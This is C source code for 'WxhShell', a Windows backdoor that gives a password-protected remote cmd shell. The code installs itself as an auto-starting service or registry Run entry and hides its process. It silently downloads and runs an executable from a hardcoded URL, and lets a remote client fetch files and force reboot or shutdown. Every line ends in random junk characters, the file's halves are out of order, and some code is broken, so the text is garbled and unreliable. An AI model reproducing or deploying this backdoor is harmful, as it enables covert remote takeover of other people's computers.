    if(Boot(SHUTDOWN)) 5 ae2<Y=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F~A'X  
    else { h iNEJ_f  
    closesocket(wsh); SG6sw]x  
    ExitThread(0); j*~T1i  
    } L^Jk=8  
    break; >0Q|nCx  
    } ~]ZpA-*@Ut  
  // 获取shell N !TW!  
  case 's': { M Zmb`%BZ  
    CmdShell(wsh); d)~Fmi;  
    closesocket(wsh); qI^ /"k*5  
    ExitThread(0); n3J53| %v  
    break; cwGbSW$t  
  } t&?i m<  
  // 退出 ^>"z@$|\:  
  case 'x': { qzb<J=FAU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R8.CC1Ix  
    CloseIt(wsh); K~ ;45Z2  
    break; cQ9q;r`%  
    } {Zp\^/  
  // 离开 as J)4ema  
  case 'q': { L(X6-M:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KK@.~'d  
    closesocket(wsh); N!*_La=TuH  
    WSACleanup(); `^lYw:xA  
    exit(1); S_~z-`;h!  
    break; qCv20#!"|  
        } :;t #\%L/  
  } ;5@  t[r  
  } &+G"k~%  
qKJSj   
  // 提示信息 Y!;|ld  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |!y A@y?  
} #r3l[ bKK  
  } HF3f)}l$  
#A]-ax?Qc}  
  return; {d?$m*YR3`  
} 6oui]$pH  
u,3#M ~  
// shell模块句柄 O]qU[y+  
int CmdShell(SOCKET sock) *OQG 4aWy  
{ &w=3^  
STARTUPINFO si; xLx]_R()  
ZeroMemory(&si,sizeof(si)); ([xo9FP;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; id$Ul?z8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 02Ia2e.f  
PROCESS_INFORMATION ProcessInfo; L\;6y*K  
char cmdline[]="cmd"; &N3Y|2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VN%INUi@  
  return 0; I*VCpaA  
} a')|1DnR  
^B+!N;  
// 自身启动模式 !+:ov'F  
int StartFromService(void) \e`~i@) ~Z  
{ u :F~K  
typedef struct O@YTAT&d#  
{ Z{H5oUk  
  DWORD ExitStatus; bGorH=pb5R  
  DWORD PebBaseAddress; t='# |');  
  DWORD AffinityMask; p019)X|vx  
  DWORD BasePriority; 1Z,[|wJ  
  ULONG UniqueProcessId; ^Idle*+  
  ULONG InheritedFromUniqueProcessId; C)cwAU|h#  
}   PROCESS_BASIC_INFORMATION; / Wf^hA  
F4e:ZExJ  
PROCNTQSIP NtQueryInformationProcess;  TT-h;'nJ  
ApjOj/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zq%D/H6J,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5aa<qtUjH  
j^`hzh3S  
  HANDLE             hProcess; (!:cen~|[  
  PROCESS_BASIC_INFORMATION pbi; )Z %T27r,^  
JAI)Eqqv]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  aH#l9kCb  
  if(NULL == hInst ) return 0; bMU(?hb  
z~A]9|/61v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8iekEG$H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VM0j`bs'K*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gkHNRAL  
cCR+D.F  
  if (!NtQueryInformationProcess) return 0; mXXt'_"  
bBY^+c<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `8FUX= Sh  
  if(!hProcess) return 0; ZNx$r]4nF  
T,$WlK Wj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kCXdGhb  
Y F*OU"2U  
  CloseHandle(hProcess); ^gFqRbuS  
is/scv<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <EST?.@~+  
if(hProcess==NULL) return 0; |`;54_f  
It75R}B   
HMODULE hMod; !\ g+8>  
char procName[255]; Zc?ppO  
unsigned long cbNeeded; :f$xQr4Qz  
uB7 V?A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bb d.  
a/< Csad  
  CloseHandle(hProcess); f0T ,ul,  
(< =}]v  
if(strstr(procName,"services")) return 1; // 以服务启动 07hF2[i  
lvp8z) G  
  return 0; // 注册表启动 =V^.}WtO  
} B7"PIkk;  
7-BvFEM;  
// 主模块 RW P<B0)  
int StartWxhshell(LPSTR lpCmdLine) X_v[MW  
{ `g,8-  
  SOCKET wsl; G-T0f  
BOOL val=TRUE; x\Y $+A,P  
  int port=0; 5xOvY  
  struct sockaddr_in door; VAXT{s&4>  
C R|lt  
  if(wscfg.ws_autoins) Install(); 6_4D9 W  
K x~|jq  
port=atoi(lpCmdLine); A7c/N=Cp^  
pNRk.m]  
if(port<=0) port=wscfg.ws_port; "gD-8C3  
%r+vSGt;5  
  WSADATA data; |$7vI&m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CX m+)a-L  
m5Tr-w$QY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y\0}R,]a-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pZU9^Z?~6  
  door.sin_family = AF_INET; Dn>%%K@0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,[A'tUl _  
  door.sin_port = htons(port); CwX Z  
v|E"[P2e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'u` .P:u?  
closesocket(wsl); {%#)5l)  
return 1; "4%"&2L  
} AL5Vu$V~n}  
z(\4 M==2O  
  if(listen(wsl,2) == INVALID_SOCKET) { 7w1wr)qSB  
closesocket(wsl); nW|wY.  
return 1; boo }u  
} {$ep7;'d  
  Wxhshell(wsl); `f'K@  
  WSACleanup(); Iz[@^IUx=  
jM:Y' l]  
return 0; mYU9 trHV  
|] Qg7m,O  
} _uJ"m8Tl  
a[2vjFf#C  
// 以NT服务方式启动 +S))3 5N[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4R5D88= C  
{ >s`J5I!  
DWORD   status = 0; eX_D/25 $  
  DWORD   specificError = 0xfffffff; aTzjm`F0  
!cGDy/ |  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "HYQqNj?Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2On_'^O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fQP{|+4  
  serviceStatus.dwWin32ExitCode     = 0; o!~Jzd.=h  
  serviceStatus.dwServiceSpecificExitCode = 0; 1@gguRF:  
  serviceStatus.dwCheckPoint       = 0; G7=p Bf  
  serviceStatus.dwWaitHint       = 0; W0=O+0$^  
9!><<7TS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V_Wwrhua  
  if (hServiceStatusHandle==0) return; # 6!5 2  
V#jWege  
status = GetLastError(); F_bF  
  if (status!=NO_ERROR) apk4 j\i?5  
{ ,<A$h3*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .6OgO{P:  
    serviceStatus.dwCheckPoint       = 0; !d&C>7nb  
    serviceStatus.dwWaitHint       = 0; .SWt3|Pi5  
    serviceStatus.dwWin32ExitCode     = status; 2y%,p{="  
    serviceStatus.dwServiceSpecificExitCode = specificError; |+$%kJR=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1jX3ey~  
    return; 6; Y0a4Ax  
  } S\CRG>  
a" H WGY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Skz|*n|eY  
  serviceStatus.dwCheckPoint       = 0; 76vy5R(.  
  serviceStatus.dwWaitHint       = 0; ~y$ !48o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3 v")J*t  
} }$\M{# C~  
"z<azs  
// 处理NT服务事件,比如:启动、停止 Od?qz1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -8N|xQ378  
{ hd 0 'u  
switch(fdwControl) S!{t6'8K  
{ 8?Z4-6!{V,  
case SERVICE_CONTROL_STOP: +w8R!jdA  
  serviceStatus.dwWin32ExitCode = 0; rDdzxrKg{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )NR Q2  
  serviceStatus.dwCheckPoint   = 0; BA=,7y&;j  
  serviceStatus.dwWaitHint     = 0; ]m#5`zGK1|  
  { 4:9KR[y/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A6oq.I0  
  } G Xt4j  
  return; uGs; }<<8  
case SERVICE_CONTROL_PAUSE: ~r{5`;c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }Yv\0\~'W|  
  break; {m`A!qcD|  
case SERVICE_CONTROL_CONTINUE: 0 'Vg6E]/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s`Cy a`  
  break; "G:<7oTa  
case SERVICE_CONTROL_INTERROGATE: %{;Qls%[t  
  break; 7E!7"2e a  
}; O@iu aeEW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M.td^l0  
} S^Au#1e   
7a=S  
// 标准应用程序主函数 4Z*U}w)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r ]>\~&?^F  
{ *;|`E(   
"g+z !4b#  
// 获取操作系统版本 ]B=C|usJ  
OsIsNt=GetOsVer(); *4|Hqa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vKoP|z=m  
]4 (?BJ  
  // 从命令行安装 /# <pVgN  
  if(strpbrk(lpCmdLine,"iI")) Install(); dC}`IR  
/=?ETth @  
  // 下载执行文件 U.T|   
if(wscfg.ws_downexe) { XR0O;JN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iK{T^vvk  
  WinExec(wscfg.ws_filenam,SW_HIDE); gK|R =J  
} O--7<Q\  
$<p8TtI=YQ  
if(!OsIsNt) { &6Il(3-^  
// 如果时win9x,隐藏进程并且设置为注册表启动 #0;HOeIiH  
HideProc(); (Vg}Hh?p  
StartWxhshell(lpCmdLine); Q)af|GW$  
} {0!#>["<  
else OlD`uA  
  if(StartFromService()) X5 ITF)&  
  // 以服务方式启动 ^/Sh=4=G  
  StartServiceCtrlDispatcher(DispatchTable); hnWo|! ,O$  
else sCl$f7"  
  // 普通方式启动 =l<iI*J. M  
  StartWxhshell(lpCmdLine);  uIMe  
9N[EZhW  
return 0; `B8tmW#  
} nT#JOmv  
x|eeRf|  
s~26  
+CM7C%U   
=========================================== Lv1{k\aw  
#pdUJ2)yM  
W 4YE~  
GD-&_6a  
/NF#+bx  
P%X-@0)  
" _x1EZ&dh  
5(&xNT-n8  
#include <stdio.h> F=)eLE{W  
#include <string.h> H^1gy=kdj  
#include <windows.h> 7 gB{In0  
#include <winsock2.h> /)uM[ dnai  
#include <winsvc.h> NE|[o0On  
#include <urlmon.h> 0=v{RQ;W4  
*Dr5O9Y  
#pragma comment (lib, "Ws2_32.lib") +pqM ^3t|y  
#pragma comment (lib, "urlmon.lib") pJ, @Y>  
ED} 31L  
#define MAX_USER   100 // 最大客户端连接数 K X]oE+:  
#define BUF_SOCK   200 // sock buffer |dadH7  
#define KEY_BUFF   255 // 输入 buffer V:bV ?lt  
|Y_ -  
#define REBOOT     0   // 重启 `0#H]=$2h  
#define SHUTDOWN   1   // 关机 :46h+?   
0_eQlatb  
#define DEF_PORT   5000 // 监听端口 !F!3Q4  
&S74mV  
#define REG_LEN     16   // 注册表键长度 ZI ?W5ISdg  
#define SVC_LEN     80   // NT服务名长度 6ew "fCrH!  
2H?d+6Pt3  
// 从dll定义API %c^ m\ E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yZ}d+7T}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +~2rW8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,yLw$-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iz}sM>^  
6&2LWaWMo$  
// wxhshell配置信息 ;)!"Ty|  
struct WSCFG { G5]1s  
  int ws_port;         // 监听端口 9 -jO,l  
  char ws_passstr[REG_LEN]; // 口令 KO]N%]:&~  
  int ws_autoins;       // 安装标记, 1=yes 0=no w\|Ei(  
  char ws_regname[REG_LEN]; // 注册表键名 i~qfGl p6)  
  char ws_svcname[REG_LEN]; // 服务名 .6T6 S v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2Eh@e([PMs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SlT*C6f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zREJ#r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y9}8M27vQG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h5@j`{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ri?\m!o  
e-D4'lu  
}; F!KV\?eM$  
I^Qx/uTKw  
// default Wxhshell configuration ]jM^Z.mI+  
struct WSCFG wscfg={DEF_PORT, <6N_at3  
    "xuhuanlingzhe", [5pCL0<c@  
    1, r!/0 j)  
    "Wxhshell", .?#uxd~>  
    "Wxhshell", dU;upS_-  
            "WxhShell Service", -4L!k'uR  
    "Wrsky Windows CmdShell Service", RSWcaATZN  
    "Please Input Your Password: ", jv}=&d  
  1, w;`m- 9<Y  
  "http://www.wrsky.com/wxhshell.exe", VfSGCe  
  "Wxhshell.exe" lQt% Qx  
    }; +?N}Y{Y&  
^GXEJU 7U  
// 消息定义模块 J^H =i)A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IKf`[_,t]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )bWrd $X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RLKj u;u  
char *msg_ws_ext="\n\rExit."; ~oi_r8 K  
char *msg_ws_end="\n\rQuit."; C*wdtEGq  
char *msg_ws_boot="\n\rReboot..."; kN'Thq/ZE  
char *msg_ws_poff="\n\rShutdown..."; Mz|L-62  
char *msg_ws_down="\n\rSave to "; t;Wotfc[#0  
NoW!xLI  
char *msg_ws_err="\n\rErr!"; B/YcSEY;  
char *msg_ws_ok="\n\rOK!"; A_r<QYq0|  
StM/  
char ExeFile[MAX_PATH]; {Jx7_T&  
int nUser = 0; 8&a_A:h  
HANDLE handles[MAX_USER]; kr_oUXiX  
int OsIsNt; -l.pA(O  
tjb/[RQ  
SERVICE_STATUS       serviceStatus; cCng5Nq,c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SgSk !lj  
8gpBz'/,  
// 函数声明 ],?pe  
int Install(void); |[w^eg  
int Uninstall(void); Wu{&;$  
int DownloadFile(char *sURL, SOCKET wsh); =WRO\lgv.  
int Boot(int flag); 3hJH(ToO  
void HideProc(void); Dt {')  
int GetOsVer(void); !`C?nY  
int Wxhshell(SOCKET wsl);  <qn,  
void TalkWithClient(void *cs); L[]^{ O   
int CmdShell(SOCKET sock); UA0tFeH  
int StartFromService(void); YmCbxYa7  
int StartWxhshell(LPSTR lpCmdLine); 4_< nQ9K  
4[l^0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <$C<Ba?;?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !1-&Y'+  
V [4n'LcE  
// 数据结构和表定义 FU]4oKx  
SERVICE_TABLE_ENTRY DispatchTable[] = IgA.%}II}  
{ }vsO^4Sjc  
{wscfg.ws_svcname, NTServiceMain}, )H+h ;U  
{NULL, NULL} s-5wbi.C  
}; RO(iHR3cA  
t,?,F4 j  
// 自我安装 eYDgEM  
int Install(void) 00,9azs  
{ 5&|5 a} 8  
  char svExeFile[MAX_PATH]; NTVHnSoHh  
  HKEY key; ,Qo}J@e(  
  strcpy(svExeFile,ExeFile); nhT;b,G.Z  
z.59]\;U>  
// 如果是win9x系统,修改注册表设为自启动 _@|fva&s,;  
if(!OsIsNt) { AgI>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HwW6tQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U 1F-~ {r  
  RegCloseKey(key); 7%opzdS#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #[,= 1Od(q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V(I7*_ZFl  
  RegCloseKey(key); @$ftG  
  return 0; /yt7#!tm+  
    } {tmKCG  
  } ,]U[W  
} GRQ_+K  
else { n>T:2PQ3  
B<C&ay  
// 如果是NT以上系统,安装为系统服务 NY 4C@@"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z*h ;e;  
if (schSCManager!=0) ]F_r6*<  
{ :Fo4O'UC  
  SC_HANDLE schService = CreateService Uir*%*4:  
  ( _]Ey Ea  
  schSCManager, :B+Rg cqi  
  wscfg.ws_svcname, To^# 0  
  wscfg.ws_svcdisp, /THNP 8.  
  SERVICE_ALL_ACCESS, 6ZTaQPtm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zr9d&|$  
  SERVICE_AUTO_START, W1<.OO\J  
  SERVICE_ERROR_NORMAL, ?to1rFrU  
  svExeFile, W7W3DBKtSm  
  NULL, 5R"2Wd  
  NULL, +0U#.|?  
  NULL, z[Z2H5[  
  NULL, hafECs  
  NULL tU(y~)]  
  ); 2J&XNV^tJ  
  if (schService!=0) C;%Y\S  
  { ,y%ziay  
  CloseServiceHandle(schService); kI<Wvgo L  
  CloseServiceHandle(schSCManager); /bi6>GaC:E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); To">DOt  
  strcat(svExeFile,wscfg.ws_svcname); P!9;} &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $wgc vySx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E0T&GR@.  
  RegCloseKey(key); j;G[%gi6{  
  return 0; L2d:.&5  
    } @$EjD3Z-  
  } yqYhe-"  
  CloseServiceHandle(schSCManager); 8Kk3_ y  
} ^pN 5NwC5  
} OH0S2?,{>  
FQ0KU b}0  
return 1; ~JAjr(G#o  
} /=q.tDH=I  
F G3Sk!O6  
// 自我卸载 ,zD_% ox  
int Uninstall(void) * *.:)  
{ KjBOjD'I  
  HKEY key; jp% +n  
RrKfTiK H  
if(!OsIsNt) { U>in2u 9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k06xz#pL  
  RegDeleteValue(key,wscfg.ws_regname); Ma>:_0I5  
  RegCloseKey(key); _/ct=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pFEZDf}:  
  RegDeleteValue(key,wscfg.ws_regname); \WiqN*ZF  
  RegCloseKey(key); Q:pzL "bT  
  return 0; &ad Y  
  } )`mbf|,&t{  
} {:,_A  
} & &6*ez  
else { luibB&p1  
F. }l(KuJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %v_IX2'  
if (schSCManager!=0) G5Je{N8W  
{ 2YE7 23H=Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3IGCl w(  
  if (schService!=0) :fRmUAK%  
  { Z^{+,$H@  
  if(DeleteService(schService)!=0) { ix^gAot  
  CloseServiceHandle(schService); E2kW=6VO>|  
  CloseServiceHandle(schSCManager); ;*W=c   
  return 0; OI*ZVD)J  
  } & { DR 6  
  CloseServiceHandle(schService); 1;aF5~&  
  } ;i.I&*t  
  CloseServiceHandle(schSCManager); l<W*/}3  
} *X~B-a|nJ  
} PEfE'lGj  
F%9cS :  
return 1; s fyBw  
} Mm "Wk  
|3 ;u"&(P  
// 从指定url下载文件 ,.[.SU#V  
int DownloadFile(char *sURL, SOCKET wsh) P`p6J8}4  
{ vc )9Re$  
  HRESULT hr; Cca6L9%  
char seps[]= "/"; G4O,^ v;Q  
char *token; C/CN '  
char *file; kxygf9I!;  
char myURL[MAX_PATH]; qx Wgt(Os  
char myFILE[MAX_PATH]; IY V-*/ |  
3\7'm]  
strcpy(myURL,sURL); >vHH  
  token=strtok(myURL,seps);  qe[  
  while(token!=NULL) VPWxHVf  
  { aF,j J}On  
    file=token; 4g>1G qv6  
  token=strtok(NULL,seps); jo<>Hc{g>  
  } `E{;85bDH  
anK[P'Y  
GetCurrentDirectory(MAX_PATH,myFILE); O|? Z~  
strcat(myFILE, "\\"); ?E%U|(S)=L  
strcat(myFILE, file); &aY/eD  
  send(wsh,myFILE,strlen(myFILE),0); 5woIGO3X  
send(wsh,"...",3,0); KLG6QBkj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4sj9Z:  
  if(hr==S_OK) +Y^-e.UO  
return 0; ?6 8$3;  
else wDB)&b  
return 1; |~z8<  
+xn&K"]:3  
} chKF6n  
Uy(vELB  
// 系统电源模块 W"W@WG9X0  
int Boot(int flag) 8rGl&  
{ axWM|Bw<+  
  HANDLE hToken; mG>T`c|r3  
  TOKEN_PRIVILEGES tkp; o,g6JTh  
issT{&T  
  if(OsIsNt) { `kqT{fs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d|>9rX+f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c zZrP"  
    tkp.PrivilegeCount = 1; se~ *<5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $|>6z_3%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ny278tr Q7  
if(flag==REBOOT) { n wY2BIB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NnJ>0|74g  
  return 0; en Pzy:C  
} Coga-: 2vu  
else { yonJd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aw %>YrJ  
  return 0; "CIpo/ebL  
} `DI{wqV9  
  } }UyzM y,  
  else { h{Oz*Bq  
if(flag==REBOOT) { Sja"(sJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U,oD44  
  return 0; 4aj[5fhb-  
} +<'uw  
else { NFdJb\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &z./4X  
  return 0; z2rQ$O -#  
} " 7l jc  
} F?}m8ZRv  
j09mI$2y67  
return 1; 3{.9O$  
} zi?qK?m  
/IGrp.}  
// win9x进程隐藏模块 A>qd2  
void HideProc(void) 1gF*Mf_7  
{ V_NjkyI  
w:m'uB%W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ],BJ}~v,X  
  if ( hKernel != NULL ) Xulh.: N}  
  { 0|],d?-h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,$hQ(yF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SlH7-"Ag  
    FreeLibrary(hKernel); ,2=UuW"K  
  } ,m #@%fa  
;s}-X_O<  
return; x(C]O,  
} >xxXPvM<`  
0!3!?E <  
// 获取操作系统版本 Da9*/  
int GetOsVer(void) <wIp$F.  
{ 6LSPPMM  
  OSVERSIONINFO winfo; \_iH4<#>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7VEt4  
  GetVersionEx(&winfo); Ig40#pA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E'S<L|A/  
  return 1; sW>P-  
  else eLHa9R{)B  
  return 0; }0k"Sw X  
} Pur"9jHa4  
+=n x|:no  
// 客户端句柄模块 -L^0-g  
int Wxhshell(SOCKET wsl) Mft0D j/  
{ X}65\6  
  SOCKET wsh; #Z2>TN  
  struct sockaddr_in client; i~v@  
  DWORD myID; [8V(N2  
UD Iac;vT  
  while(nUser<MAX_USER) {GGO')p  
{ Y\Fuj)  
  int nSize=sizeof(client); !Szgph"ul  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vp- n(Z  
  if(wsh==INVALID_SOCKET) return 1; 6E*Zj1KX  
Q%gY.n{=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~2, wI<Nz  
if(handles[nUser]==0) Og&0Z)%  
  closesocket(wsh); b&U5VA0=1  
else A-AN6.  
  nUser++; `4"y#Z  
  }  6Dr$*9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U 8qKD  
&?`d8\z  
  return 0; ; @[.$Q@I  
} (&N$W&  
%k1q4qOG]^  
// 关闭 socket oKMg7 3*  
void CloseIt(SOCKET wsh) |-cALQ  
{ IdQwLt  
closesocket(wsh); NO0[`jy(  
nUser--; ey9fbS ^I  
ExitThread(0); !0d9<SVC  
} EF_h::A_  
{ra Esb-X  
// 客户端请求句柄 [nhLhl4S  
void TalkWithClient(void *cs) O*+w_fox  
{ ?(`nBlWQ5  
5sf fDEU]A  
  SOCKET wsh=(SOCKET)cs; kBDe*K.V  
  char pwd[SVC_LEN]; Poylq] F  
  char cmd[KEY_BUFF]; D@YM}HXuj  
char chr[1]; 4`^TC[  
int i,j; {~B4F}ES  
TZ[F u{gZ  
  while (nUser < MAX_USER) { c'wU O3S  
U4mh!  
if(wscfg.ws_passstr) { aaqjE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OFPd6,(E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x.yb4i=Jq  
  //ZeroMemory(pwd,KEY_BUFF); Z "+rg9/p  
      i=0; ;M(ehX  
  while(i<SVC_LEN) { 6|(7G64{  
_UbR8  
  // 设置超时 +kdU%Sm  
  fd_set FdRead; Ff1M~MhG  
  struct timeval TimeOut; *{4{<O<4  
  FD_ZERO(&FdRead); sN[@mAoH  
  FD_SET(wsh,&FdRead); >P]I&S-.  
  TimeOut.tv_sec=8; H$($l<G9C  
  TimeOut.tv_usec=0; ={&TeMMA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `[W)6OUCx}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U:5*i  
:ayO+fr#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H 29 _ /  
  pwd=chr[0]; ?M1 QJ  
  if(chr[0]==0xd || chr[0]==0xa) { 0,i+  
  pwd=0; -7A!2mRiz  
  break; A`r$fCt1Vi  
  } iM-hWhU  
  i++; [wpt[zG  
    } (*^E7 [w  
c9_4 ohB  
  // 如果是非法用户,关闭 socket 5SPl#*W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0ju wDd  
} }M"'K2_Z  
0"D?.E"$r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S+\Mt+o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YJtOdgG|q  
jWb\"0)  
while(1) { %/,Uk+3p  
y^Xxa'y  
  ZeroMemory(cmd,KEY_BUFF); $K>d\{@+7  
-iZjs  
      // 自动支持客户端 telnet标准   J~ gkGso  
  j=0; ^ 8Nr %NJ  
  while(j<KEY_BUFF) { k3htHCf*G$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zj$Z%|@$  
  cmd[j]=chr[0]; a0v1LT6  
  if(chr[0]==0xa || chr[0]==0xd) { R/KWl^oNj  
  cmd[j]=0; I$P7%}  
  break; t)kr/Z*p\  
  } )~o`QM+  
  j++; E(K$|k_>  
    } '5+, lRu  
I{P$B-  
  // 下载文件 -B++V  
  if(strstr(cmd,"http://")) { Z;> aW;Wt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BDm H^`V  
  if(DownloadFile(cmd,wsh)) u/{_0-+P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U=*q;$L#  
  else zw;(:fgY#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M`g Kt (3  
  } p`V9+CA  
  else { b|pNc'u:Cn  
]KII?{ <k  
    switch(cmd[0]) { V:$ 1o  
  -wHGi  
